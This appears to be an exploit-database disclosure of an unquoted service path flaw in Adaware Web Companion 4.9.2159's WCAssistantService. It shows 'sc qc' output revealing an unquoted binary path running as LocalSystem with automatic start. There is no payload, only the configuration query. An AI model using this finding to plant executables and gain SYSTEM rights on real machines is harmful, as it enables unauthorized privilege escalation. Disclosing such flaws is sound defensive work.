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#Exploit Title: Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path  
#Exploit Author : ZwX  
#Exploit Date: 2020-01-05  
#Vendor Homepage : http://webcompanion.com/  
#Link Software : http://webcompanion.com/LP-WC002/index.php?partner=LU150701WEBDIRECT&campaign=www.doc2pdf.com&search=2&homepage=2&bd=2  
#Tested on OS: Windows 10  
  
  
#Analyze PoC :  
==============  
  
C:\Users\ZwX>sc qc WCAssistantService  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: WCAssistantService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : WC Assistant  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem